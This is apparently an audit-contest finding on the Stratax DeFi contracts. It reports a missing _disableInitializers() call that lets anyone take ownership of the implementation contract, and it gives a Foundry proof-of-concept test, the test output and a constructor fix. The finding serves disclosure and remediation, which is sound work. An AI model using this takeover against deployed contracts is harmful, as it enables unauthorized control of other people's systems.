Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: medium
Likelihood: medium

Missing `_disableInitializers()` in constructor allows implementation takeover

Author Revealed upon completion

Root Cause + Impact

Stratax inherits Initializable and is deployed behind a BeaconProxy, but has no constructor calling _disableInitializers(). Anyone can call initialize() on the implementation contract directly and become its owner, gaining access to all onlyOwner functions on that contract.

Description

Upgradeable contracts deployed behind proxies should disable initialization on the implementation to prevent unauthorized access to the implementation's storage.

Stratax has no constructor:

// Stratax.sol:11
contract Stratax is Initializable {
// @> No constructor -- _disableInitializers() never called

The initializer modifier prevents re-initialization per contract instance. The proxy called initialize() during deployment with its own storage. The implementation contract has separate storage where initialize() was never called.

An attacker calls initialize() directly on the implementation contract address and becomes its owner. They then have access to setFlashLoanFee(), setStrataxOracle(), recoverTokens(), and transferOwnership() on the implementation.

The proxy contracts are unaffected since they use separate storage. But controlling the implementation is a well-known access control violation that OpenZeppelin explicitly warns against.

Risk

Likelihood: Medium

The implementation contract address is public on-chain. The attack is a single transaction with no preconditions.

Impact: Medium

The proxy (which holds all funds) is unaffected, so user positions and funds remain safe. The implementation contract has no funds, but an attacker gains control of a contract with valid Aave and 1inch router references. In certain upgrade patterns (UUPS), this could escalate. With BeaconProxy, the beacon owner controls upgrades, not the implementation owner, which limits the blast radius.

Proof of Concept

Place in test/exploits/Exploit_ImplTakeover.t.sol. Run: forge test --match-contract Exploit_ImplTakeover -vv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Stratax} from "../../src/Stratax.sol";
import {StrataxOracle} from "../../src/StrataxOracle.sol";
import {ConstantsEtMainnet} from "../Constants.t.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {BeaconProxy} from "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
contract Exploit_ImplTakeover is Test, ConstantsEtMainnet {
Stratax public strataxImplementation;
Stratax public strataxProxy;
address public legitimateOwner;
address public attacker;
function setUp() public {
legitimateOwner = makeAddr("legitimateOwner");
attacker = makeAddr("attacker");
vm.mockCall(USDC_PRICE_FEED, abi.encodeWithSignature("decimals()"), abi.encode(uint8(8)));
vm.mockCall(WETH_PRICE_FEED, abi.encodeWithSignature("decimals()"), abi.encode(uint8(8)));
StrataxOracle oracle = new StrataxOracle();
oracle.setPriceFeed(USDC, USDC_PRICE_FEED);
oracle.setPriceFeed(WETH, WETH_PRICE_FEED);
strataxImplementation = new Stratax();
UpgradeableBeacon beacon = new UpgradeableBeacon(address(strataxImplementation), address(this));
bytes memory initData = abi.encodeWithSelector(
Stratax.initialize.selector, AAVE_POOL, AAVE_PROTOCOL_DATA_PROVIDER,
INCH_ROUTER, USDC, address(oracle)
);
BeaconProxy proxy = new BeaconProxy(address(beacon), initData);
strataxProxy = Stratax(address(proxy));
strataxProxy.transferOwnership(legitimateOwner);
}
function test_AttackerCanInitializeImplementation() public {
// Pre: implementation is uninitialized (owner = address(0))
assertEq(strataxImplementation.owner(), address(0));
// Attack: call initialize() directly on implementation
vm.prank(attacker);
strataxImplementation.initialize(
AAVE_POOL, AAVE_PROTOCOL_DATA_PROVIDER, INCH_ROUTER, USDC, address(0x1)
);
// Post: attacker owns implementation, proxy is unaffected
assertEq(strataxImplementation.owner(), attacker);
assertEq(strataxProxy.owner(), legitimateOwner);
}
}

Test output:

Ran 1 test for test/exploits/Exploit_ImplTakeover.t.sol:Exploit_ImplTakeover
[PASS] test_AttackerCanInitializeImplementation() (gas: 210048)
Suite result: ok. 1 passed; 0 failed; 0 skipped

Key logs:

Implementation owner BEFORE attack: 0x0000000000000000000000000000000000000000
Implementation owner AFTER attack: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e (attacker)

Recommended Mitigation

Add a constructor that calls _disableInitializers() per OpenZeppelin's upgrade safety guidelines. This prevents anyone from calling initialize() on the implementation:

+ constructor() {
+ _disableInitializers();
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!